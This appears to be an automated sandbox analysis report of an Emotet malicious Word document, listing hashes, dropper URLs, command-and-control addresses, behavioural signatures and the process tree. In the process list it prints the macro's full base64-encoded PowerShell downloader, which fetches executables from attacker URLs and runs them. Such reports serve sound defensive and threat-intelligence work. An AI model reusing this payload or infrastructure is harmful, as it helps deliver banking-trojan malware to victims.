Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    96s
  • max time network
    98s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    11/08/2020, 08:53

Sharing

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General

  • Target
    emotet_e3_4597432569ef4ac0f059bbf50dd60697eabf6db4eaa073732fcb93eeb3c3b298_2020-08-11__085225._doc.doc
  • Size 226KB
  • Sample200811-pgrhm4xsys
  • SHA256 4597432569ef4ac0f059bbf50dd60697eabf6db4eaa073732fcb93eeb3c3b298
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://stoutarc.com/assets/hoTVnj/
  • exe.dropper

    http://soundaffairs.net/logs/yzht756773/
  • exe.dropper

    http://sukhumvithomes.com/sathorncondos.com/N6dWb36edu55270418/
  • exe.dropper

    http://adopteerightslaw.org/yaook/ran/
  • exe.dropper

    http://liveheart.co.jp/img/qyH/

Extracted

Family

  • emotet

C2

  • 202.5.47.71:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 31.146.61.34:80

  • 115.165.3.213:80

  • 177.144.130.105:443

  • 153.220.182.49:80

  • 203.153.216.182:7080

  • 192.210.217.94:8080

  • 105.209.235.113:8080

  • 50.116.78.109:8080

  • 182.187.139.200:8080

  • 157.7.164.178:8081

  • 74.208.173.91:8080

  • 187.64.128.197:80

  • 139.59.12.63:8080

  • 97.104.107.190:80

  • 114.173.201.110:80

  • 181.143.101.19:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_4597432569ef4ac0f059bbf50dd60697eabf6db4eaa073732fcb93eeb3c3b298_2020-08-11__085225._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1408
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAFkASwBCAFcAeQBuAHQAPQAnAFUAQQBLAE8AUABxAGIAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAUgBpAHQAYAB5AHAAUgBvAHQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAE4ASgBBAEMAYgB1AG4AIAA9ACAAJwA4ADgAMgAnADsAJABRAEIAUABJAFUAaQBtAGYAPQAnAEcATwBXAEYASAB5AGYAZAAnADsAJABHAEgATABOAE0AcgBuAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoATgBKAEEAQwBiAHUAbgArACcALgBlAHgAZQAnADsAJABGAEsATgBaAFQAcQBzAGkAPQAnAEwAWABUAFoARgBlAGYAeAAnADsAJABBAEYAWgBaAFMAZwBlAGUAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAQwBsAEkAZQBOAHQAOwAkAEQATwBIAFYAQwBrAG0AcwA9ACcAaAB0AHQAcAA6AC8ALwBzAHQAbwB1AHQAYQByAGMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaABvAFQAVgBuAGoALwAqAGgAdAB0AHAAOgAvAC8AcwBvAHUAbgBkAGEAZgBmAGEAaQByAHMALgBuAGUAdAAvAGwAbwBnAHMALwB5AHoAaAB0ADcANQA2ADcANwAzAC8AKgBoAHQAdABwADoALwAvAHMAdQBrAGgAdQBtAHYAaQB0AGgAbwBtAGUAcwAuAGMAbwBtAC8AcwBhAHQAaABvAHIAbgBjAG8AbgBkAG8AcwAuAGMAbwBtAC8ATgA2AGQAVwBiADMANgBlAGQAdQA1ADUAMgA3ADAANAAxADgALwAqAGgAdAB0AHAAOgAvAC8AYQBkAG8AcAB0AGUAZQByAGkAZwBoAHQAcwBsAGEAdwAuAG8AcgBnAC8AeQBhAG8AbwBrAC8AcgBhAG4ALwAqAGgAdAB0AHAAOgAvAC8AbABpAHYAZQBoAGUAYQByAHQALgBjAG8ALgBqAHAALwBpAG0AZwAvAHEAeQBIAC8AJwAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAFAAUQBTAEsAcwBnAG0APQAnAFgAVQBEAFAASgBuAGcAcgAnADsAZgBvAHIAZQBhAGMAaAAoACQASABRAFkAQQBVAGwAawBiACAAaQBuACAAJABEAE8ASABWAEMAawBtAHMAKQB7AHQAcgB5AHsAJABBAEYAWgBaAFMAZwBlAGUALgAiAEQAbwBXAG4ATABvAGEAYABEAEYAYABpAGwAZQAiACgAJABIAFEAWQBBAFUAbABrAGIALAAgACQARwBIAEwATgBNAHIAbgBpACkAOwAkAEIAUQBJAFoAUABsAHEAYQA9ACcATwBIAEoAUgBBAGoAbgBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARwBIAEwATgBNAHIAbgBpACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADAANQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAZQBgAEEAVABlACIAKAAkAEcASABMAE4ATQByAG4AaQApADsAJABNAEEAVQBUAEgAYwB1AG4APQAnAFYATwBGAFQATgBzAGQAaAAnADsAYgByAGUAYQBrADsAJABQAFoARgBDAEoAbABzAGUAPQAnAEcAVQBUAEMAVABhAGMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAFcAQgBXAFYAeABiAGYAPQAnAEkATwBWAFkAVwBiAGwAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1772
  • C:\Users\Admin\882.exe
    C:\Users\Admin\882.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\SysWOW64\KBDUR\WABSyncProvider.exe
      "C:\Windows\SysWOW64\KBDUR\WABSyncProvider.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2000

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1332-22-0x000007FEE5760000-0x000007FEE59DA000-memory.dmp
        Download

        memory/1408-14-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1408-4-0x0000000006C70000-0x0000000006E70000-memory.dmp
        Download

        memory/1408-5-0x000000000AD70000-0x000000000AD74000-memory.dmp
        Download

        memory/1408-6-0x000000000BDF0000-0x000000000BDF4000-memory.dmp
        Download

        memory/1408-2-0x0000000008800000-0x0000000008804000-memory.dmp
        Download

        memory/1772-8-0x000007FEEA060000-0x000007FEEAA4C000-memory.dmp
        Download

        memory/1772-13-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1772-15-0x000000001C6B0000-0x000000001C6B1000-memory.dmp
        Download

        memory/1772-12-0x00000000022E0000-0x00000000022E1000-memory.dmp
        Download

        memory/1772-11-0x0000000002380000-0x0000000002381000-memory.dmp
        Download

        memory/1772-10-0x000000001ABD0000-0x000000001ABD1000-memory.dmp
        Download

        memory/1772-9-0x00000000024E0000-0x00000000024E1000-memory.dmp
        Download

        memory/1960-17-0x0000000000390000-0x000000000039C000-memory.dmp
        Download

        memory/2000-21-0x0000000000250000-0x000000000025C000-memory.dmp
        Download